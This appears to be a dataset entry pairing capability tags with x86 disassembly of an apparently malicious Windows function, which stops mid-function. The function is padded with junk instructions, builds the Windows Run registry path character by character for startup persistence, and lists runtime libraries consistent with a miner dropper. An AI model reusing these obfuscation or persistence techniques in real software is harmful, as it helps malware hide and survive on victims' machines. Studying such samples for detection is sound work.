Function at 0x401180
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Delete directory
Delete file
Extract resource via kernel32 functions
Get common file path
Move file
Read file on windows
Set current directory
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3928
call fcn.00418270
push ebx
push esi
mov dword [ebp - 0x1c], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
call fcn.00406e10
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x198]
call fcn.0040f450
lea ecx, [ebp - 0x198]
call fcn.00414360
movzx eax, al
test eax, eax
jne 0x4011e6
lea ecx, [ebp - 0x198]
call fcn.00417540
cmp eax, 1
jne 0x401206
mov dword [ebp - 0x1e0], 0
lea ecx, [ebp - 0x198]
call fcn.0040fa50
mov eax, dword [ebp - 0x1e0]
jmp 0x406dfc
push esi
mov esi, 0x1cbb48eb
mov esi, 0x38987a16
xor esi, esi
pop esi
lea ecx, [ebp - 0xb8]
call fcn.0040f6c0
mov dword [ebp - 0x28], 0
jmp 0x401231
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x198]
call fcn.00417540
cmp dword [ebp - 0x28], eax
jae 0x401420
mov edx, dword [ebp - 0x28]
push edx
lea ecx, [ebp - 0x198]
call fcn.004101c0
movzx eax, word [eax]
cmp eax, 0x22
jne 0x401317
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x198]
call fcn.00417540
cmp dword [ebp - 0x28], eax
jae 0x401312
push 0x41a400
lea ecx, [ebp - 0x738]
call fcn.0040f450
lea edx, [ebp - 0x738]
push edx
lea ecx, [ebp - 0xb8]
call fcn.00416110
lea ecx, [ebp - 0x738]
call fcn.0040fa50
lea ecx, [ebp - 0x198]
call fcn.00417540
cmp dword [ebp - 0x28], eax
jae 0x401312
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x198]
call fcn.004101c0
movzx ecx, word [eax]
cmp ecx, 0x22
je 0x401312
mov edx, dword [ebp - 0x28]
push edx
lea ecx, [ebp - 0x198]
call fcn.004101c0
mov ax, word [eax]
movzx ecx, ax
push ecx
lea ecx, [ebp - 0xb8]
call fcn.00413de0
mov ecx, eax
call fcn.004104f0
push eax
mov eax, 0x5f270c76
mov eax, 0x62a00361
sub eax, esi
pop eax
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
jmp 0x4012aa
jmp 0x40141b
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x198]
call fcn.004101c0
movzx ecx, word [eax]
cmp ecx, 0x20
je 0x40141b
lea ecx, [ebp - 0x198]
call fcn.00417540
cmp dword [ebp - 0x28], eax
jae 0x40141b
push 0x41a404
lea ecx, [ebp - 0x750]
call fcn.0040f450
lea edx, [ebp - 0x750]
push edx
lea ecx, [ebp - 0xb8]
call fcn.00416110
lea ecx, [ebp - 0x750]
call fcn.0040fa50
push esi
sub esi, edi
mov esi, 0x27b25009
mov esi, 0x3fb6265a
pop esi
lea ecx, [ebp - 0x198]
call fcn.00417540
cmp dword [ebp - 0x28], eax
jae 0x4013e9
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x198]
call fcn.004101c0
movzx ecx, word [eax]
cmp ecx, 0x20
je 0x4013e9
mov edx, dword [ebp - 0x28]
push edx
lea ecx, [ebp - 0x198]
call fcn.004101c0
mov ax, word [eax]
movzx ecx, ax
push ecx
lea ecx, [ebp - 0xb8]
call fcn.00413de0
mov ecx, eax
call fcn.004104f0
push edx
mov edx, 0xf772ab7
and edx, ecx
mov edx, 0x7d3e5247
pop edx
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
jmp 0x401381
lea ecx, [ebp - 0xb8]
call fcn.00413de0
mov ecx, eax
call fcn.00414360
movzx eax, al
test eax, eax
je 0x40141b
lea ecx, [ebp - 0xb8]
call fcn.004159b0
push ecx
mov ecx, 0x6bd9775c
xor ecx, esp
and ecx, edx
sub ecx, edx
nop
pop ecx
jmp 0x401228
push ebp
xor ebp, esp
sbb ebp, edi
sub ebp, eax
mov ebp, 0x59c38e2
nop
pop ebp
lea ecx, [ebp - 0xb8]
call fcn.004175f0
cmp eax, 3
je 0x401469
mov dword [ebp - 0x1e4], 0
lea ecx, [ebp - 0xb8]
call fcn.0040fc00
lea ecx, [ebp - 0x198]
call fcn.0040fa50
mov eax, dword [ebp - 0x1e4]
jmp 0x406dfc
lea ecx, [ebp - 0x1128]
push ecx
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x401492
push eax
xor eax, edx
mov eax, 0x23833e85
and eax, edx
sub eax, eax
nop
pop eax
jmp 0x4014c3
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x1e8], 0
lea ecx, [ebp - 0xb8]
call fcn.0040fc00
lea ecx, [ebp - 0x198]
call fcn.0040fa50
mov eax, dword [ebp - 0x1e8]
jmp 0x406dfc
push edx
mov edx, 0x5ee42de6
mov edx, 0x1b7d1046
or edx, ecx
pop edx
lea ecx, [ebp - 0x270]
call fcn.0040f290
mov dword [ebp - 0xf0], 1
jmp 0x4014f7
mov edx, dword [ebp - 0xf0]
add edx, 2
mov dword [ebp - 0xf0], edx
cmp dword [ebp - 0xf0], 0x19
jae 0x40151b
mov eax, dword [ebp - 0xf0]
movzx ecx, byte [eax + section..data]
push ecx
lea ecx, [ebp - 0x270]
call fcn.00410470
jmp 0x4014e8
lea ecx, [ebp - 0x14d]
call fcn.0040ef70
push eax
lea edx, [ebp - 0x5a4]
push edx
lea ecx, [ebp - 0x270]
call fcn.00414410
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x5a8]
push ecx
lea ecx, [ebp - 0x270]
call fcn.00413e10
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x930]
call fcn.0040c590
push eax
mov ecx, 0x41e330
call fcn.0040fff0
lea ecx, [ebp - 0x930]
call fcn.0040fa50
push 0x41a408
lea ecx, [ebp - 0x768]
call fcn.0040f1c0
lea eax, [ebp - 0x768]
push eax
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x768]
call fcn.0040fa10
push 0x41a40c
lea ecx, [ebp - 0x780]
call fcn.0040f1c0
lea ecx, [ebp - 0x780]
push ecx
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x780]
call fcn.0040fa10
push edi
or edi, edi
and edi, ecx
mov edi, 0x716b0135
xor edi, edi
nop
pop edi
push 0x41a410
lea ecx, [ebp - 0x798]
call fcn.0040f1c0
lea edx, [ebp - 0x798]
push edx
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x798]
call fcn.0040fa10
push 0x41a414
lea ecx, [ebp - 0x7b0]
call fcn.0040f1c0
lea eax, [ebp - 0x7b0]
push eax
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x7b0]
call fcn.0040fa10
push 0x41a418
lea ecx, [ebp - 0x7c8]
call fcn.0040f1c0
lea ecx, [ebp - 0x7c8]
push ecx
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x7c8]
call fcn.0040fa10
push 0x41a41c
lea ecx, [ebp - 0x7e0]
call fcn.0040f1c0
lea edx, [ebp - 0x7e0]
push edx
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x7e0]
call fcn.0040fa10
push ebp
and ebp, esi
sbb ebp, esp
mov ebp, 0x67d06c78
add ebp, ebx
nop
pop ebp
push 0x41a420
lea ecx, [ebp - 0x7f8]
call fcn.0040f1c0
lea eax, [ebp - 0x7f8]
push eax
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x7f8]
call fcn.0040fa10
push 0x41a42c
lea ecx, [ebp - 0x810]
call fcn.0040f1c0
lea ecx, [ebp - 0x810]
push ecx
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x810]
call fcn.0040fa10
push edx
mov edx, 0x36db0450
and edx, eax
and edx, esp
add edx, eax
nop
pop edx
push 0x41a430
lea ecx, [ebp - 0x828]
call fcn.0040f1c0
lea edx, [ebp - 0x828]
push edx
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x828]
call fcn.0040fa10
push 0x41a434
lea ecx, [ebp - 0x840]
call fcn.0040f1c0
lea eax, [ebp - 0x840]
push eax
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x840]
call fcn.0040fa10
push 0x41a438
lea ecx, [ebp - 0x858]
call fcn.0040f1c0
lea ecx, [ebp - 0x858]
push ecx
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x858]
call fcn.0040fa10
push 0x41a43c
lea ecx, [ebp - 0x870]
call fcn.0040f1c0
lea edx, [ebp - 0x870]
push edx
mov ecx, 0x41e360
call fcn.00415e10
lea ecx, [ebp - 0x870]
call fcn.0040fa10
push ebp
xor ebp, edx
mov ebp, 0x43af653f
sub ebp, ebx
sbb ebp, edx
nop
pop ebp
mov dword [ebp - 0xf4], 0
jmp 0x4017d5
mov eax, dword [ebp - 0xf4]
add eax, 1
mov dword [ebp - 0xf4], eax
mov ecx, 0x41e360
call fcn.004175c0
cmp dword [ebp - 0xf4], eax
jae 0x401806
push str.data
mov ecx, dword [ebp - 0xf4]
push ecx
mov ecx, 0x41e360
call fcn.00410220
mov ecx, eax
call fcn.00410490
jmp 0x4017c6
push ebx
add ebx, edi
mov ebx, 0x593c180a
sbb ebx, eax
or ebx, edx
nop
pop ebx
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0xf8], 1
jmp 0x401843
mov edx, dword [ebp - 0xf8]
add edx, 2
mov dword [ebp - 0xf8], edx
cmp dword [ebp - 0xf8], 0x19
jae 0x401867
mov eax, dword [ebp - 0xf8]
movsx ecx, byte [eax + section..data]
add ecx, dword [ebp - 0x130]
mov dword [ebp - 0x130], ecx
jmp 0x401834
mov dword [ebp - 0xfc], 0
jmp 0x401882
mov edx, dword [ebp - 0xfc]
add edx, 1
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x130]
jge 0x4018a4
mov ecx, dword [ebp - 0x118]
add ecx, dword [ebp - 0xfc]
mov dword [ebp - 0x118], ecx
jmp 0x401873
push ebp
mov ebp, 0x6bc350b0
add ebp, esp
mov ebp, 0x27c94b70
pop ebp
mov edx, dword [ebp - 0x118]
push edx
lea eax, [ebp - 0x6d0]
push eax
call fcn.004177a0
add esp, 8
lea ecx, [ebp - 0x6d0]
push ecx
mov ecx, 0x41e384
call fcn.0040ff60
push eax
and eax, esi
mov eax, 0x6ca5029f
mov eax, 0x3f7c5331
pop eax
push 0
mov ecx, 0x41e360
call fcn.00410220
push eax
mov ecx, 0x41e324
call fcn.00415fa0
push 1
mov ecx, 0x41e360
call fcn.00410220
push eax
mov ecx, 0x41e324
call fcn.00415fa0
push 2
mov ecx, 0x41e360
call fcn.00410220
push eax
mov ecx, 0x41e324
call fcn.00415fa0
push 3
mov ecx, 0x41e360
call fcn.00410220
push eax
mov ecx, 0x41e324
call fcn.00415fa0
push 4
mov ecx, 0x41e360
call fcn.00410220
push eax
mov ecx, 0x41e324
call fcn.00415fa0
push 5
mov ecx, 0x41e360
call fcn.00410220
push eax
mov ecx, 0x41e324
call fcn.00415fa0
push str.msvcr100.
lea ecx, [ebp - 0x888]
call fcn.0040f1c0
lea edx, [ebp - 0x888]
push edx
mov ecx, 0x41e324
call fcn.00415e10
lea ecx, [ebp - 0x888]
call fcn.0040fa10
push ebp
sbb ebp, esp
mov ebp, 0x58225121
or ebp, esp
or ebp, edx
nop
pop ebp
push eax
sub eax, eax
mov eax, 0x3e8f1329
mov eax, 0x378354ff
pop eax
push str.msvcr120.
lea ecx, [ebp - 0x8a0]
call fcn.0040f1c0
lea eax, [ebp - 0x8a0]
push eax
mov ecx, 0x41e324
call fcn.00415e10
lea ecx, [ebp - 0x8a0]
call fcn.0040fa10
push ebp
sbb ebp, ecx
sbb ebp, edi
and ebp, esi
mov ebp, 0x4719285e
nop
pop ebp
push str.msvcp140.
lea ecx, [ebp - 0x8b8]
call fcn.0040f1c0
lea ecx, [ebp - 0x8b8]
push ecx
mov ecx, 0x41e324
call fcn.00415e10
lea ecx, [ebp - 0x8b8]
call fcn.0040fa10
push ecx
mov ecx, 0xe15019f
xor ecx, edi
or ecx, eax
sbb ecx, ebp
nop
pop ecx
push str.vcruntime140.
lea ecx, [ebp - 0x8d0]
call fcn.0040f1c0
lea edx, [ebp - 0x8d0]
push edx
mov ecx, 0x41e324
call fcn.00415e10
lea ecx, [ebp - 0x8d0]
call fcn.0040fa10
push edi
and edi, esi
and edi, edi
mov edi, 0x29275fe1
sub edi, esp
nop
pop edi
push esi
xor esi, edi
or esi, esi
mov esi, 0xb981117
sbb esi, esp
nop
pop esi
push str.cudart32_55.
lea ecx, [ebp - 0x8e8]
call fcn.0040f1c0
lea eax, [ebp - 0x8e8]
push eax
mov ecx, 0x41e324
call fcn.00415e10
lea ecx, [ebp - 0x8e8]
call fcn.0040fa10
push ebx
mov ebx, 0x1e466392
xor ebx, ebx
or ebx, edx
or ebx, edx
nop
pop ebx
push edx
mov edx, 0x2cf539fe
sbb edx, eax
mov edx, 0x36861f7
pop edx
push ecx
mov ecx, 0xeaa6935
xor ecx, esp
mov ecx, 0x64c106ee
pop ecx
push ebp
mov ebp, 0x285d017c
sub ebp, ecx
mov ebp, 0x61da7f78
pop ebp
push str.pthreadVC2.
lea ecx, [ebp - 0x900]
call fcn.0040f1c0
lea ecx, [ebp - 0x900]
push ecx
mov ecx, 0x41e324
call fcn.00415e10
lea ecx, [ebp - 0x900]
call fcn.0040fa10
push edx
mov edx, 0x2770ede
and edx, esp
sub edx, esp
or edx, esi
nop
pop edx
push ebx
and ebx, eax
sbb ebx, ecx
mov ebx, 0x224b3ccf
or ebx, edi
nop
pop ebx
push ecx
sbb ecx, edx
add ecx, eax
mov ecx, 0x1052db2
xor ecx, ecx
nop
pop ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000007f
jns 0x401b41
dec eax
or eax, 0xffffff80
inc eax
add eax, 0xc4
push eax
mov ecx, 0x41e348
call fcn.00416dc0
mov dword [ebp - 4], 0
jmp 0x401b63
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov ecx, 0x41e348
call fcn.00417520
cmp dword [ebp - 4], eax
jae 0x402290
cmp dword [ebp - 4], 2
jne 0x401bae
push ebp
xor ebp, ecx
mov ebp, 0x2e290979
add ebp, esp
xor ebp, edx
nop
pop ebp
push edi
mov edi, 0x3f254125
add edi, edx
and edi, ecx
sbb edi, esp
nop
pop edi
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x53
jmp 0x40228b
cmp dword [ebp - 4], 4
jne 0x401bd8
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x2d
push ecx
mov ecx, 0x50f841c4
or ecx, ecx
sub ecx, edi
sub ecx, edx
nop
pop ecx
jmp 0x40228b
cmp dword [ebp - 4], 6
jne 0x401c02
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x66
push edi
or edi, ebp
mov edi, 0x1dc44a59
xor edi, edi
xor edi, eax
nop
pop edi
jmp 0x40228b
cmp dword [ebp - 4], 9
jne 0x401c2c
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x74
push ecx
and ecx, ebx
mov ecx, 0x50c6675e
or ecx, esi
sbb ecx, edi
nop
pop ecx
jmp 0x40228b
cmp dword [ebp - 4], 0xc
jne 0x401c56
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x77
push edi
or edi, ecx
add edi, ebx
mov edi, 0x276d2e36
or edi, edi
nop
pop edi
jmp 0x40228b
cmp dword [ebp - 4], 0xe
jne 0x401c80
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x61
push esi
mov esi, 0x2ca0b56
add esi, esi
add esi, edi
xor esi, ebp
nop
pop esi
jmp 0x40228b
cmp dword [ebp - 4], 0x12
jne 0x401caa
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x72
push ebx
mov ebx, 0x73e24f7b
mov ebx, 0x275a65ef
or ebx, ebx
pop ebx
jmp 0x40228b
cmp dword [ebp - 4], 0x16
jne 0x401ce2
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x65
push esi
mov esi, 0x1cbb48eb
mov esi, 0x38987a16
xor esi, esi
pop esi
push eax
mov eax, 0x5f270c76
mov eax, 0x62a00361
sub eax, esi
pop eax
jmp 0x40228b
cmp dword [ebp - 4], 0x17
jne 0x401d28
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x40
push esi
sub esi, edi
mov esi, 0x27b25009
mov esi, 0x3fb6265a
pop esi
push edx
mov edx, 0xf772ab7
and edx, ecx
mov edx, 0x7d3e5247
pop edx
push ecx
mov ecx, 0x6bd9775c
xor ecx, esp
and ecx, edx
sub ecx, edx
nop
pop ecx
jmp 0x40228b
cmp dword [ebp - 4], 0x1b
jne 0x401d52
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x4d
push ebp
xor ebp, esp
sbb ebp, edi
sub ebp, eax
mov ebp, 0x59c38e2
nop
pop ebp
jmp 0x40228b
cmp dword [ebp - 4], 0x1d
jne 0x401d6e
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x69
jmp 0x40228b
cmp dword [ebp - 4], 0x20
jne 0x401d98
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x63
push eax
xor eax, edx
mov eax, 0x23833e85
and eax, edx
sub eax, eax
nop
pop eax
jmp 0x40228b
cmp dword [ebp - 4], 0x21
jne 0x401db4
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x72
jmp 0x40228b
cmp dword [ebp - 4], 0x23
jne 0x401dd0
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x2d
jmp 0x40228b
cmp dword [ebp - 4], 0x26
jne 0x401dfa
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x73
push edx
mov edx, 0x5ee42de6
mov edx, 0x1b7d1046
or edx, ecx
pop edx
jmp 0x40228b
cmp dword [ebp - 4], 0x28
jne 0x401e32
push edi
or edi, edi
and edi, ecx
mov edi, 0x716b0135
xor edi, edi
nop
pop edi
push ebp
and ebp, esi
sbb ebp, esp
mov ebp, 0x67d06c78
add ebp, ebx
nop
pop ebp
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x2d
jmp 0x40228b
cmp dword [ebp - 4], 0x29
jne 0x401e5c
push edx
mov edx, 0x36db0450
and edx, eax
and edx, esp
add edx, eax
nop
pop edx
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x66
jmp 0x40228b
cmp dword [ebp - 4], 0x2a
jne 0x401e86
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x74
push ebp
xor ebp, edx
mov ebp, 0x43af653f
sub ebp, ebx
sbb ebp, edx
nop
pop ebp
jmp 0x40228b
cmp dword [ebp - 4], 0x2f
jne 0x401eb0
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x40
push ebx
add ebx, edi
mov ebx, 0x593c180a
sbb ebx, eax
or ebx, edx
nop
pop ebx
jmp 0x40228b
cmp dword [ebp - 4], 0x30
jne 0x401eda
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x57
push ebp
mov ebp, 0x6bc350b0
add ebp, esp
mov ebp, 0x27c94b70
pop ebp
jmp 0x40228b
cmp dword [ebp - 4], 0x31
jne 0x401f04
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x69
push eax
and eax, esi
mov eax, 0x6ca5029f
mov eax, 0x3f7c5331
pop eax
jmp 0x40228b
cmp dword [ebp - 4], 0x32
jne 0x401f2e
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x6e
push ebp
sbb ebp, esp
mov ebp, 0x58225121
or ebp, esp
or ebp, edx
nop
pop ebp
jmp 0x40228b
cmp dword [ebp - 4], 0x33
jne 0x401f58
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x64
push eax
sub eax, eax
mov eax, 0x3e8f1329
mov eax, 0x378354ff
pop eax
jmp 0x40228b
cmp dword [ebp - 4], 0x35
jne 0x401f82
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x6f
push ebp
sbb ebp, ecx
sbb ebp, edi
and ebp, esi
mov ebp, 0x4719285e
nop
pop ebp
jmp 0x40228b
cmp dword [ebp - 4], 0x39
jne 0x401fac
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x77
push ecx
mov ecx, 0xe15019f
xor ecx, edi
or ecx, eax
sbb ecx, ebp
nop
pop ecx
jmp 0x40228b
cmp dword [ebp - 4], 0x3b
jne 0x401fd6
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x73
push edi
and edi, esi
and edi, edi
mov edi, 0x29275fe1
sub edi, esp
nop
pop edi
jmp 0x40228b
cmp dword [ebp - 4], 0x41
jne 0x402000
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x40
push esi
xor esi, edi
or esi, esi
mov esi, 0xb981117
sbb esi, esp
nop
pop esi
jmp 0x40228b
cmp dword [ebp - 4], 0x46
jne 0x40201c
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x43
jmp 0x40228b
cmp dword [ebp - 4], 0x48
jne 0x402038
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x31
jmp 0x40228b
cmp dword [ebp - 4], 0x4a
jne 0x402062
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x72
push ebx
mov ebx, 0x1e466392
xor ebx, ebx
or ebx, edx
or ebx, edx
nop
pop ebx
jmp 0x40228b
cmp dword [ebp - 4], 0x4b
jne 0x40207e
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x72
jmp 0x40228b
cmp dword [ebp - 4], 0x4e
jne 0x4020a8
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x65
push edx
mov edx, 0x2cf539fe
sbb edx, eax
mov edx, 0x36861f7
pop edx
jmp 0x40228b
cmp dword [ebp - 4], 0x52
jne 0x4020d2
push ecx
mov ecx, 0xeaa6935
xor ecx, esp
mov ecx, 0x64c106ee
pop ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x6e
jmp 0x40228b
cmp dword [ebp - 4], 0x54
jne 0x4020ee
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x74
jmp 0x40228b
cmp dword [ebp - 4], 0x56
jne 0x402118
push ebp
mov ebp, 0x285d017c
sub ebp, ecx
mov ebp, 0x61da7f78
pop ebp
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x56
jmp 0x40228b
cmp dword [ebp - 4], 0x58
jne 0x402134
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x65
jmp 0x40228b
cmp dword [ebp - 4], 0x5a
jne 0x402150
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x72
jmp 0x40228b
cmp dword [ebp - 4], 0x5b
jne 0x402188
push edx
mov edx, 0x2770ede
and edx, esp
sub edx, esp
or edx, esi
nop
pop edx
push ebx
and ebx, eax
sbb ebx, ecx
mov ebx, 0x224b3ccf
or ebx, edi
nop
pop ebx
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x73
jmp 0x40228b
cmp dword [ebp - 4], 0x5f
jne 0x4021a4
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x69
jmp 0x40228b
cmp dword [ebp - 4], 0x63
jne 0x4021ce
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x2d
push ecx
sbb ecx, edx
add ecx, eax
mov ecx, 0x1052db2
xor ecx, ecx
nop
pop ecx
jmp 0x40228b
cmp dword [ebp - 4], 0x64
jne 0x4021ea
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x6e
jmp 0x40228b
cmp dword [ebp - 4], 0x66
jne 0x402206
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x40
jmp 0x40228b
cmp dword [ebp - 4], 0x6a
jne 0x40221f
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x52
jmp 0x40228b
cmp dword [ebp - 4], 0x6e
jne 0x402238
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x31
jmp 0x40228b
cmp dword [ebp - 4], 0x6f
jne 0x40225f
push ebp
xor ebp, ecx
mov ebp, 0x2e290979
add ebp, esp
xor ebp, edx
nop
pop ebp
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x6e
jmp 0x40228b
push 0x7a
push 0x61
call fcn.0040a010
add esp, 8
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], bl
push edi
mov edi, 0x3f254125
add edi, edx
and edi, ecx
sbb edi, esp
nop
pop edi
jmp 0x401b5a
push ecx
mov ecx, 0x50f841c4
or ecx, ecx
sub ecx, edi
sub ecx, edx
nop
pop ecx
push str.request
lea ecx, [ebp - 0x498]
call fcn.0040f1c0
push 0x41a504
push 0x41e348
lea ecx, [ebp - 0x948]
push ecx
call fcn.0040c930
add esp, 0xc
push eax
mov ecx, 0x41e36c
call fcn.0040fe70
lea ecx, [ebp - 0x948]
call fcn.0040fa10
mov dword [ebp - 0x54], 0
jmp 0x4022ef
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov ecx, 0x41e348
call fcn.00417520
cmp dword [ebp - 0x54], eax
jae 0x4023b8
push edi
or edi, ebp
mov edi, 0x1dc44a59
xor edi, edi
xor edi, eax
nop
pop edi
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x41e348
call fcn.00410180
movsx ecx, byte [eax]
cmp ecx, 0x2d
jne 0x402347
mov edx, dword [ebp - 0x54]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x6f
push ecx
and ecx, ebx
mov ecx, 0x50c6675e
or ecx, esi
sbb ecx, edi
nop
pop ecx
jmp 0x4023b3
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x41e348
call fcn.00410180
movsx ecx, byte [eax]
cmp ecx, 0x40
jne 0x40237e
mov edx, dword [ebp - 0x54]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x5c
push edi
or edi, ecx
add edi, ebx
mov edi, 0x276d2e36
or edi, edi
nop
pop edi
jmp 0x4023b3
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x41e348
call fcn.00410180
movsx ecx, byte [eax]
cmp ecx, 0x31
jne 0x4023b3
mov edx, dword [ebp - 0x54]
push edx
mov ecx, 0x41e348
call fcn.00410180
mov byte [eax], 0x75
push esi
mov esi, 0x2ca0b56
add esi, esi
add esi, edi
xor esi, ebp
nop
pop esi
jmp 0x4022e6
push ebx
mov ebx, 0x73e24f7b
mov ebx, 0x275a65ef
or ebx, ebx
pop ebx
mov dword [ebp - 0x100], 6
jmp 0x4023e1
mov eax, dword [ebp - 0x100]
add eax, 1
mov dword [ebp - 0x100], eax
mov ecx, 0x41e324
call fcn.004175c0
cmp dword [ebp - 0x100], eax
jae 0x402412
push 0x41a50c
mov ecx, dword [ebp - 0x100]
push ecx
mov ecx, 0x41e324
call fcn.00410220
mov ecx, eax
call fcn.00410490
jmp 0x4023d2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5ac], esp
push 0x41e384
call fcn.0040f0c0
push 0x41e348
lea edx, [ebp - 0x960]
